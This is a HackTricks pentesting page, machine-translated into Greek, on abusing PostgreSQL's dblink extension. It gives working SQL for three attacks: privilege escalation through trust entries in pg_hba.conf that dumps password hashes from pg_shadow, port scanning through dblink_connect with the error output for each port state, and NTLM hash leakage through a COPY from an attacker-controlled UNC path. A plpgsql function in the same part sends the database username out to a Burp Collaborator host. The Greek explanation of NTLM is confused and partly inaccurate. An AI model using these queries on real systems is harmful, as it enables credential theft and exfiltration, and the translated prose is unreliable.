Network - Privesc, Port Scanner and NTLM chanllenge response disclosure

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Βρείτε περισσότερες πληροφορίες σχετικά με αυτές τις επιθέσεις στο αρχικό έγγραφο.

Από την έκδοση PostgreSQL 9.1, η εγκατάσταση επιπλέον ενοτήτων είναι απλή. Εγκατεστημένες επεκτάσεις όπως η dblink μπορούν να εγκατασταθούν με την εντολή CREATE EXTENSION:

CREATE EXTENSION dblink;

Μόλις φορτώσετε το dblink, μπορείτε να εκτελέσετε μερικά ενδιαφέροντα κόλπα:

Ανόδου Προνομίων

Το αρχείο pg_hba.conf μπορεί να έχει κακή διαμόρφωση, επιτρέποντας συνδέσεις από τοπικό υπολογιστή ως οποιονδήποτε χρήστη χωρίς να χρειάζεται να γνωρίζετε τον κωδικό πρόσβασης. Αυτό το αρχείο μπορεί συνήθως να βρεθεί στη διαδρομή /etc/postgresql/12/main/pg_hba.conf και μια κακή διαμόρφωση φαίνεται όπως εξής:

local    all    all    trust

Σημείωση ότι αυτή η διαμόρφωση χρησιμοποιείται συχνά για να τροποποιήσει τον κωδικό πρόσβασης ενός χρήστη της βάσης δεδομένων όταν ο διαχειριστής τον ξεχάσει, οπότε μερικές φορές μπορείτε να το βρείτε. Σημειώστε επίσης ότι το αρχείο pg_hba.conf είναι αναγνώσιμο μόνο από τον χρήστη και την ομάδα postgres και εγγράψιμο μόνο από τον χρήστη postgres.

Αυτή η περίπτωση είναι χρήσιμη αν έχετε ήδη ένα κέλυφος μέσα στο θύμα, καθώς θα σας επιτρέψει να συνδεθείτε στη βάση δεδομένων postgresql.

Μια άλλη πιθανή λανθασμένη διαμόρφωση αποτελείται από κάτι τέτοιο:

host    all     all     127.0.0.1/32    trust

Καθώς θα επιτρέπει σε όλους από το localhost να συνδεθούν στη βάση δεδομένων ως οποιοσδήποτε χρήστης. Σε αυτήν την περίπτωση και αν η συνάρτηση dblink λειτουργεί, μπορείτε να αναβαθμίσετε τα δικαιώματα συνδεόμενοι στη βάση δεδομένων μέσω μιας ήδη καθιερωμένης σύνδεσης και να έχετε πρόσβαση σε δεδομένα στα οποία δεν θα έπρεπε να έχετε πρόσβαση:

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);

SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);

Σάρωση Θυρών

Αξιοποιώντας την dblink_connect μπορείτε επίσης να αναζητήσετε ανοιχτές θύρες. Εάν αυτή η **συνάρτηση δεν λειτουργεί, θα πρέπει να δοκιμάσετε να χρησιμοποιήσετε την dblink_connect_u() όπως λέει η τεκμηρίωση, η οποία αναφέρει ότι η dblink_connect_u() είναι πανομοιότυπη με την dblink_connect(), εκτός από το γεγονός ότι θα επιτρέπει σε μη-υπερχρήστες να συνδεθούν χρησιμοποιώντας οποιαδήποτε μέθοδο πιστοποίησης_.

SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR:  could not establish connection
DETAIL:  could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?

// Port Filtered/Timeout
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTP server
ERROR:  could not establish connection
DETAIL:  timeout expired

// Accessing HTTPS server
ERROR:  could not establish connection
DETAIL:  received invalid response to SSL negotiation:

Σημείωση ότι πριν μπορέσετε να χρησιμοποιήσετε τις dblink_connect ή dblink_connect_u μπορεί να χρειαστεί να εκτελέσετε:

CREATE extension dblink;

Μονοπάτι UNC - Αποκάλυψη NTLM hash

Η αποκάλυψη του NTLM hash μέσω του μονοπατιού UNC είναι μια τεχνική που επιτρέπει στον επιτιθέμενο να αποκτήσει πρόσβαση στον κωδικό NTLM που χρησιμοποιείται για την αυθεντικοποίηση σε ένα δίκτυο. Αυτή η επίθεση εκμεταλλεύεται την αδυναμία του πρωτοκόλλου NTLM να προστατεύσει τον κωδικό NTLM κατά τη μετάδοσή του μέσω του μονοπατιού UNC.

Για να επιτευχθεί αυτή η επίθεση, ο επιτιθέμενος χρησιμοποιεί έναν παρατηρητή δικτύου για να παρακολουθήσει την επικοινωνία μεταξύ του πελάτη και του διακομιστή. Όταν ο πελάτης αποστέλλει ένα αίτημα για ένα μονοπάτι UNC, ο διακομιστής αποκρίνεται με ένα αίτημα για την αυθεντικοποίηση του χρήστη. Ο επιτιθέμενος καταγράφει αυτήν την απάντηση και αναλύει το πεδίο του κωδικού NTLM για να αποκτήσει πρόσβαση στον κωδικό.

Αυτή η επίθεση μπορεί να είναι επιτυχής όταν οι χρήστες χρησιμοποιούν το ίδιο κωδικό για την αυθεντικοποίηση σε διάφορες υπηρεσίες ή όταν ο κωδικός NTLM είναι αδύνατον να αποκρυπτογραφηθεί από τον διακομιστή.

Για να προστατευθείτε από αυτήν την επίθεση, συνιστάται να χρησιμοποιείτε μονοπάτια UNC μόνο με ασφαλή πρωτόκολλα, όπως το SMBv3, και να χρησιμοποιείτε μοναδικούς κωδικούς για κάθε υπηρεσία.

-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
-- to extract the value of user and send it to Burp Collaborator
CREATE TABLE test(retval text);
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
DECLARE sqlstring TEXT;
DECLARE userval TEXT;
BEGIN
SELECT INTO userval (SELECT user);
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
EXECUTE sqlstring;
END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated